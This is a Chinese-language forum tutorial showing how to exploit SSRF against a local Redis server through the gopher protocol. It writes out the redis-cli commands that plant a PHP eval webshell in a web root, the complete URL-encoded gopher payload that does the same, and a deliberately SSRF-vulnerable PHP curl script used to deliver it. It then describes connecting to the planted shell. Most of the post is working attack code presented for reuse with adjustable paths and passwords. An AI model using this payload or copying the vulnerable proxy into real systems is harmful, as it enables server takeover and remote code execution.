SSRF攻击手法中捕获redis数据流并转成Gopher格式简介

兰州民百   ·   发表于 2020-09-16 12:07:30   ·   闲聊灌水区
[TOC]

环境准备

Centos、Redis、LNMP、wireshark,如何安装自行百度。

捕获Redis数据流

wireshark抓包,linux默认可以抓127.0.0.1的数据包,windows中需要用Npcap替代winpcap,选择网卡。

选择网卡

启动抓包,redis-cli执行的命令:

redis-cli
flushall
config set dir /home/wwwroot/xxxx/
config set dbfilename "shell10.php"
set gaia "<?php eval($_REQUEST[8]);?>"
save
exit

redis-cli

停止抓包,然后过滤数据tcp.port == 6379,跟踪TCP数据流。

follw

选择发送的数据流,复制下来。

发送的数据流

数据流转码

URL在线转码

在线转码

转码再加工

前面添加gopher://127.0.0.1:6379/,用%0d%0a代替转码出来的%0a()分别用%28%29替换,?也替换为%3f

加工代码

完成之后构造的代码如下:

xxxx目录请进行适当修改,连接密码8也可适当修改

gopher://127.0.0.1:6379/*1%0D%0A%247%0D%0ACOMMAND%0D%0A*1%0D%0A%248%0D%0Aflushall%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2421%0D%0A%2Fhome%2Fwwwroot%2Fxxxx%2F%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2411%0D%0Ashell10.php%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Agaia%0D%0A%2427%0D%0A%3C%3Fphp%20eval%28%24_REQUEST%5B8%5D%29%3B%3F%3E%0D%0A*1%0D%0A%244%0D%0Asave%0D%0A

测试代码是否有效

通过1.php?url=gopher.......测试无效,可能是已经解决这个问题了。

1.php代码如下:

<?php
 $URL = @$_GET['url'];
 $CH = CURL_INIT();
 CURL_SETOPT($CH,CURLOPT_URL,$URL);
 CURL_SETOPT($CH,CURLOPT_HEADER,FALSE);
 CURL_SETOPT($CH,CURLOPT_RETURNTRANSFER,TRUE);
 CURL_SETOPT($CH,CURLOPT_SSL_VERIFYPEER,FALSE);
 CURL_SETOPT($CH,CURLOPT_FOLLOWLOCATION,TRUE);
 $RES=CURL_EXEC($CH);
 CURL_CLOSE($CH);
 echo $RES;
 if($RES===false){
 echo "Error:".CURL_ERROR($CH);
 }
?>

通过curl gopher://127.0.0.1:6379/*1%0D%0A%247%0D%0。。。。。。。测试成功,截图如下:

curl

通过Gopherus构造代码也可curl成功。

Gopherus

连接shell

连接

附:巧用Gopher协议扩展SSRF攻击手法

打赏我,让我更有动力~

0 Reply   |  Until 2020-9-16 | 658 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.